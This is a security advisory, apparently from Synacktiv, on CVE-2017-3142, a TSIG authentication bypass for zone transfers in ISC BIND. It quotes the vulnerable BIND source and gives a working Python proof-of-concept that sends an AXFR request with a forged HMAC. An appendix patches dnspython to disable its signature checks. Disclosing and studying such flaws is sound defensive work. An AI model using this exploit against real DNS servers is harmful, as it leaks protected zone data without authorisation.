SYNACKTIV
DIGITAL SECURITY

TSIG authentication bypass for zone transfer operations in ISC BIND

Security advisory CVE-2017-3142

06/07/2017

Clément BERTHAUX

1. Vulnerability description

1.1. About ISC BIND

BIND (Berkeley Internet Name Domain) is an implementation of the DNS protocols and provides an openly redistributable reference implementation of the major components of the Domain Name System, including:

- Domain Name System server
- Domain Name System resolver library
- Tools for managing and verifying the proper operation of the DNS server

The BIND DNS Server, *named*, is used on the vast majority of name serving machines on the Internet, providing a robust and stable architecture on top of which an organization's naming architecture can be built.

1.2. About TSIG

TSIG is an authentication protocol for DNS defined in RFC 2845. The idea is to provide a transaction level authentication based on a message signature using a HMAC operation with a shared secret. It is primarily used to authenticate dynamic DNS update requests as well as zone transfer operations.

This protocol is widely used and supported by a vast majority of DNS server software such as PowerDNS, NSD, Knot DNS and, of course, BIND.

1.3. The issue

Synacktiv experts discovered a flaw within the TSIG signature check in BIND that would allow an attacker to bypass the TSIG authentication on zone transfer operations.

This issue is due to a missing attribute update in case the signature digest length doesn't match that of the hash algorithm used.

1.4. Affected versions

The issue was tested and proven to affect the following BIND version:

- BIND 9.9.10
- BIND 9.10.5
- BIND 9.11.1

According to ISC, the following versions are affected:

- 9.4.0 to 9.8.8
- 9.9.0 to 9.9.10-P1
- 9.10.0 to 9.10.5-P1

- 9.11.0 to 9.11.1-P1
- 9.9.3-S1 to 9.9.10-S2
- 9.10.5-S1 to 9.10.5-S2

1.5. Timeline

Date	Action
14/06/2017	Advisory sent by Synacktiv to the ISC security team
29/06/2017	Security advisory and patches published by ISC: https://deepthought.isc.org/article/AA-01504/
06/07/2017	Additional details on the issue released by Synacktiv

2. Technical description and proof-of-concept

2.1. Attack scenario

This vulnerability can be exploited by an attacker to retrieve the content of a DNS zone provided that:

- The attacker can guess a valid TSIG key name and the associated algorithm
- No additional network ACL is configured regarding zone transfer operations

As such, configurations like the following one are affected:

```
key "tsig_key" {
     algorithm hmac-sha256;
     secret "YmxhYmxhbXlzZWNyZXRrZXk=";
};

zone "example.com" {
     type master;
     file "/etc/zones/example.com.zone";
     allow-transfer {key tsig_key;};
};
```

2.2. Vulnerability discovery

Upon reception of a TSIG-signed request, the function `dns_tsig_verify` from the file `lib/dns/tsig.c` is called to check the signature. When the signature length doesn't match that of digests produced by the hash algorithm used, the message attribute `tsigstatus` is not updated.

```
isc_result_t
dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
         dns_tsig_keyring_t *ring1, dns_tsig_keyring_t *ring2)
{
[...]
     /*
      * Check digest length.
      */
     alg = dst_key_alg(key);
     ret = dst_key_sigsize(key, &siglen);
     if (ret != ISC_R_SUCCESS)
          return (ret);
     if (
#ifndef PK11_MD5_DISABLE
          alg == DST_ALG_HMACMD5 ||
#endif
```

```
        alg == DST_ALG_HMACSHA1 ||
        alg == DST_ALG_HMACSHA224 || alg == DST_ALG_HMACSHA256 ||
        alg == DST_ALG_HMACSHA384 || alg == DST_ALG_HMACSHA512) {
        isc_uint16_t digestbits = dst_key_getbits(key);
        if (tsig.siglen > siglen) {
             // no msg->tsigstatus update !
             tsig_log(msg->tsigkey, 2, "signature length too big");
             return (DNS_R_FORMERR);
        }
        if (tsig.siglen > 0 &&
             (tsig.siglen < 10 || tsig.siglen < ((siglen + 1) / 2))) {
             // no msg->tsigstatus update
             tsig_log(msg->tsigkey, 2,
                   "signature length below minimum");
             return (DNS_R_FORMERR);
        }
        if (tsig.siglen > 0 && digestbits != 0 &&
             tsig.siglen < ((digestbits + 1) / 8)) {
             msg->tsigstatus = dns_tsigerror_badtrunc;
             tsig_log(msg->tsigkey, 2,
                   "truncated signature length too small");
             return (DNS_R_TSIGVERIFYFAILURE);
        }
        if (tsig.siglen > 0 && digestbits == 0 &&
             tsig.siglen < siglen) {
             msg->tsigstatus = dns_tsigerror_badtrunc;
             tsig_log(msg->tsigkey, 2, "signature length too small");
             return (DNS_R_TSIGVERIFYFAILURE);
        }
    }
```

Moreover, it is initialized to `dns_rcode_noerror` in the function `msginittsig` from `lib/dns/message.c`:

```
static inline void
msginittsig(dns_message_t *m) {
     m->tsigstatus = dns_rcode_noerror;
     m->querytsigstatus = dns_rcode_noerror;
     m->tsigkey = NULL;
     m->tsigctx = NULL;
     m->sigstart = -1;
     m->sig0key = NULL;
     m->sig0status = dns_rcode_noerror;
     m->timeadjust = 0;
```

```
}
```

The root cause of the issue lies in the fact that even though `dns_tsig_verify` returns an error `DNS_R_FORMERR`, the execution flow still reaches the call to `dns_message_signer` to determine the signature validity in `client_request` from `bin/named/client.c`:

```
    /*
     * Check for a signature.  We log bad signatures regardless of
     * whether they ultimately cause the request to be rejected or
     * not.  We do not log the lack of a signature unless we are
     * debugging.
     */
    client->signer = NULL;
    dns_name_init(&client->signername, NULL);
    result = dns_message_signer(client->message, &client->signername);
    if (result != ISC_R_NOTFOUND) {
         signame = NULL;
         if (dns_message_gettsig(client->message, &signame) != NULL) {
              isc_stats_increment(ns_g_server->nsstats,
                                  dns_nsstatscounter_tsigin);
         } else {
              isc_stats_increment(ns_g_server->nsstats,
                                  dns_nsstatscounter_sig0in);
         }

    }
    if (result == ISC_R_SUCCESS) {
         char namebuf[DNS_NAME_FORMATSIZE];
         dns_name_format(&client->signername, namebuf, sizeof(namebuf));
         ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
                       NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
                       "request has valid signature: %s", namebuf);
         client->signer = &client->signername;
    } else if (result == ISC_R_NOTFOUND) {
         ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
                       NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
                       "request is not signed");
    } else if (result == DNS_R_NOIDENTITY) {
         ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
                       NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
                       "request is signed by a nonauthoritative key");
    } else {
         [...]
```

```
    }
```

The return value of the `dns_message_signer` function is then computed depending on the `msg->tsigstatus` attribute:

```
isc_result_t
dns_message_signer(dns_message_t *msg, dns_name_t *signer) {
    isc_result_t result = ISC_R_SUCCESS;
    dns_rdata_t rdata = DNS_RDATA_INIT;

    REQUIRE(DNS_MESSAGE_VALID(msg));
    REQUIRE(signer != NULL);
    REQUIRE(msg->from_to_wire == DNS_MESSAGE_INTENTPARSE);

    if (msg->tsig == NULL && msg->sig0 == NULL)
        return (ISC_R_NOTFOUND);

    if (msg->verify_attempted == 0)
        return (DNS_R_NOTVERIFIEDYET);

    if (!dns_name_hasbuffer(signer)) {
        isc_buffer_t *dynbuf = NULL;
        result = isc_buffer_allocate(msg->mctx, &dynbuf, 512);
        if (result != ISC_R_SUCCESS)
            return (result);
        dns_name_setbuffer(signer, dynbuf);
        dns_message_takebuffer(msg, &dynbuf);
    }

    if (msg->sig0 != NULL) {

        [...]

    } else {
        dns_name_t *identity;
        dns_rdata_any_tsig_t tsig;

        result = dns_rdataset_first(msg->tsig);
        INSIST(result == ISC_R_SUCCESS);
        dns_rdataset_current(msg->tsig, &rdata);

        result = dns_rdata_tostruct(&rdata, &tsig, NULL);
        INSIST(result == ISC_R_SUCCESS);
```

```
        if (msg->tsigstatus != dns_rcode_noerror)
            result = DNS_R_TSIGVERIFYFAILURE;
        else if (tsig.error != dns_rcode_noerror)
            result = DNS_R_TSIGERRORSET;
        else
            result = ISC_R_SUCCESS;
    [...]
```

As such, if the digest length is not correct, the TSIG authentication is bypassed when processing an AXFR request.

It should be noted that this vulnerability cannot be used to bypass TSIG authentication regarding zone updates since, in this case, there is a check based on `sigresult`, the return value of `dns_tsig_verify`, which prevent the update process from starting. **This issue may affect notify operations.**

2.3. Exploitation

The POC script to exploit this vulnerability to perform a zone transfer is simple. Of course, it should be adapted to match the TSIG key name and algorithm used. It uses a patched version of *dnspython* to allow the modification of the request digest and timestamp. This patch can be found in appendix.

```
import dns.query
import dns.zone
import dns.tsigkeyring
import dns.tsig
import dns.message
import dns.update
from time import time, sleep
from struct import pack

def exploit(host, zone):
    keyring = dns.tsigkeyring.from_text({
        'tsig_key': 'bla'.encode('base64')
    })

    trigger = dns.message.make_query(zone, dns.rdatatype.AXFR)
    trigger.use_tsig(keyring, keyname='tsig_key', algorithm=dns.tsig.HMAC_SHA256)
    trigger.request_hmac = 'bla' # alter the hmac
    print '[+] sending trigger request'
    ans = dns.query.tcp(trigger, host)
    print ans.to_text()

if __name__ == '__main__':
    from argparse import ArgumentParser
```

```
    p = ArgumentParser()
    p.add_argument('host')
    p.add_argument('zone')

    o = p.parse_args()

    exploit(o.host, o.zone)
```

Appendix: *dnspython* patch to alter TSIG attributes

```
diff dns/message.py /usr/lib/python2.7/dist-packages/dns/message.py
423c423
<                         self.keyalgorithm, time_func=self.time_func if hasattr(self,
'time_func') else None, request_hmac=self.request_hmac if hasattr(self, 'request_hmac')
else '')
---
>                         self.keyalgorithm)
diff dns/query.py /usr/lib/python2.7/dist-packages/dns/query.py
273c273
<         one_rr_per_rrset=False, origin=None):
---
>         one_rr_per_rrset=False):
299c299
<     wire = q.to_wire(origin=origin)
---
>     wire = q.to_wire()
diff dns/renderer.py /usr/lib/python2.7/dist-packages/dns/renderer.py
26d25
<
32d30
<
255c253
<                   request_mac, algorithm=dns.tsig.default_algorithm, time_func=None,
request_hmac=''):
---
>                   request_mac, algorithm=dns.tsig.default_algorithm):
280d277
<
282,293c279,287
<                                                       keyname,
<                                                       secret,
<                                                       int(time_func() if time_func
else time.time()),
<                                                       fudge,
<                                                       id,
<                                                       tsig_error,
<                                                       other_data,
<                                                       request_mac,
<                                                       algorithm=algorithm,
```

```
<                                                       hmac_value=request_hmac
<                                                       )
<
---
>                                                      keyname,
>                                                      secret,
>                                                      int(time.time()),
>                                                      fudge,
>                                                      id,
>                                                      tsig_error,
>                                                      other_data,
>                                                      request_mac,
>                                                      algorithm=algorithm)
diff dns/tsig.py /usr/lib/python2.7/dist-packages/dns/tsig.py
73c73
<          algorithm=default_algorithm, hmac_value=''):
---
>          algorithm=default_algorithm):
110,112c110
<
<     mac = ctx.digest() if not hmac_value else hmac_value
<
---
>     mac = ctx.digest()
161,171c159,169
<     # if error != 0:
<     #     if error == BADSIG:
<     #         raise PeerBadSignature
<     #     elif error == BADKEY:
<     #         raise PeerBadKey
<     #     elif error == BADTIME:
<     #         raise PeerBadTime
<     #     elif error == BADTRUNC:
<     #         raise PeerBadTruncation
<     #     else:
<     #         raise PeerError('unknown TSIG error code %d' % error)
---
>     if error != 0:
>         if error == BADSIG:
>             raise PeerBadSignature
>         elif error == BADKEY:
>             raise PeerBadKey
>         elif error == BADTIME:
>             raise PeerBadTime
```

```
>         elif error == BADTRUNC:
>             raise PeerBadTruncation
>         else:
>             raise PeerError('unknown TSIG error code %d' % error)
174,175c172,173
<     # if now < time_low or now > time_high:
<     #     raise BadTime
---
>     if now < time_low or now > time_high:
>         raise BadTime
179,180c177,178
<     # if (our_mac != mac):
<     #     raise BadSignature
---
>     if (our_mac != mac):
>         raise BadSignature
```